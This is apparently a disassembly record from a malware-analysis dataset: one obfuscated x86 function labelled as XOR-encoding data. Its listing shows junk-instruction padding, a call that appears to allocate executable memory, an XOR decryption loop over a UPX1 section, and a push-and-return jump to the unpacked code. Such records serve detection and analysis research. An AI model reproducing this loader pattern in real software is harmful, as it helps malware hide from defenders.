Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1e4d7aef
not esi
mov eax, esi
popal
or eax, esi
inc eax
mov ebx, 0
mov eax, ecx
inc edi
sub edi, 0x86f11b67
add edi, edi
mov esi, eax
dec edi
mov edx, edi
mov edx, 0x3ee2f797
mov ecx, esi
and edx, edx
dec edi
add edx, edx
inc ebx
mov edi, 0x2051f998
add edx, edx
or edi, edi
cmp ebx, 0x100773a
jne 0xa789bf
sub edi, edx
add edi, edi
and esi, esi
mov eax, 0xe7fd6e4e
add eax, esi
mov edx, 0xa78796
mov ecx, 0xaa7273c9
sub edi, eax
mov esi, 0xa7898a
sub ecx, edi
inc edi
mov ebx, dword [edx]
and eax, edi
and edi, eax
mov ecx, eax
and ebx, 0xff
mov eax, 0x5d091ef7
dec edi
inc ecx
xor dword [esi], ebx
sub edi, eax
add eax, edi
inc esi
inc ecx
and ecx, edi
inc edx
mov eax, edi
or eax, ecx
add edi, 0xb685ad17
cmp esi, entry0
jl 0xa78a12
dec eax
add eax, ecx
add eax, 1
or edi, ecx
not ecx
sub ebx, edx
dec esi
mov edi, 0xa7898e
or edx, edx
mov esi, edx
add esi, 0x9d0403da
mov edi, dword [edi]
mov ebx, 0xa1ab79c
sub ecx, ebx
add esi, 0x56fb661b
mov edi, dword [edi]
mov esi, ecx
sub esi, 0xdaad9679
add ebx, edx
sub esp, 4
mov dword [esp], edi
sub esi, ebx
inc ebx
inc esi
mov edi, 0xa7898a
dec ecx
and edx, esi
add ecx, 0x7fed4619
mov edi, dword [edi]
add ebx, esi
inc ecx
mov edi, dword [edi]
sub edx, 0xc4a574df
mov esi, 0x2b5f72f2
sub esp, 4
mov dword [esp], 0xa78992
not ecx
sub edx, esi
add ebx, 0xe8e65a95
call edi
sub ecx, ebx
sub ecx, 0x9f45693d
add ecx, 0x954dc4e9
pop edi
add esi, 0x39fbe742
add edx, edx
push 0xa7899f
sub edx, 0xae24afa6
dec esi
push eax
not ebx
sub ecx, ebx
mov ebx, edx
call edi
sub esi, 1
or esi, esi
add edx, 0x2cf25835
sub esp, 4
mov dword [esp], 0x40
add ebx, ecx
add edx, 1
dec ebx
push 0x3000
dec ebx
add ecx, ebx
push 0x2000072f
add ebx, 0x53c58199
sub ecx, 0x75c95dda
sub esi, 0x4bb18539
push 0
add ecx, ebx
add ecx, 0xc59a3bd1
call eax
add ecx, 0x11cf7ae6
mov edx, 0xe61a8ec1
mov ebx, edx
add eax, 0x20000680
add edx, 0x3e51b098
or ecx, ecx
dec ecx
mov edi, 0x8d81d0f7
mov edx, ebx
mov ecx, ebx
sub edx, ecx
mov dword [eax], edi
and ecx, esi
not esi
sub edx, ebx
mov edi, dword [eax]
add esi, 0x8e337498
mov esi, 0xa28e290f
cmp edi, 0x8d81d0f7
je 0xa78b88
mov ecx, 0
mov dword [ecx], edx
mov esi, ecx
dec ebx
inc ebx
add esi, 0xf4dfb124
or ecx, ecx
sub edx, ebx
sub eax, 1
mov eax, esi
mov eax, esi
mov edi, section.UPX1
add esi, eax
dec esi
mov edx, 0xa78795
sub eax, esi
and esi, eax
mov ebx, 0
add eax, 0x66fb4831
add esi, esi
mov ecx, 0xa78796
add esi, 0xfe1b0016
add esi, esi
or eax, eax
lea ecx, [ebx + ecx]
sub esi, 0x8676a34b
sub esi, 0x97f5f119
sub esi, eax
mov ecx, dword [ecx]
inc esi
sub eax, 0x387ad5f3
and ecx, 0xff
add eax, esi
add eax, 0x792b5bb9
sub esi, eax
inc ebx
mov esi, 0x51367956
add esi, 0x4c4c9069
sub esi, 1
cmp ebx, 0x1f4
jne 0xa78c16
mov ebx, 0
inc esi
mov eax, 0x9c09568f
dec eax
add eax, eax
add esi, 0xcbc39e7
xor dword [edi], ecx
sub esi, eax
or esi, eax
add edi, 2
and eax, esi
mov esi, 0xf83cb8e2
cmp edi, edx
jl 0xa78bbe
or esi, eax
add eax, 0x9f35ad99
mov eax, 0xa2e40611
inc esi
not esi
add esi, eax
mov edx, section.UPX1
and ecx, edi
or edi, edi
mov ebx, section.UPX1
not edi
sub edi, ecx
sub edi, ecx
mov esi, 0xa78795
and ecx, ecx
sub edi, ecx
mov edi, 0xefe223de
mov eax, 0
sub ecx, 0x6967ac72
add edi, 0xb304d071
mov al, byte [ebx]
not edi
and edi, edi
sub ecx, 0x80f00e58
mov byte [edx], al
add edi, edi
and edi, ecx
add edx, 1
mov ecx, edi
add ecx, 0x1fc48fbc
sub ecx, edi
add ebx, 2
or ecx, ecx
not edi
sub edi, 0xd9e7d524
cmp ebx, esi
jle 0xa78c85
mov edi, 0xd9f609f4
inc edi
or ecx, edi
mov esi, eax
sub esi, 0xab8837d8
push 0x8dc6a0
add esi, eax
add esi, 0x29b40d21
ret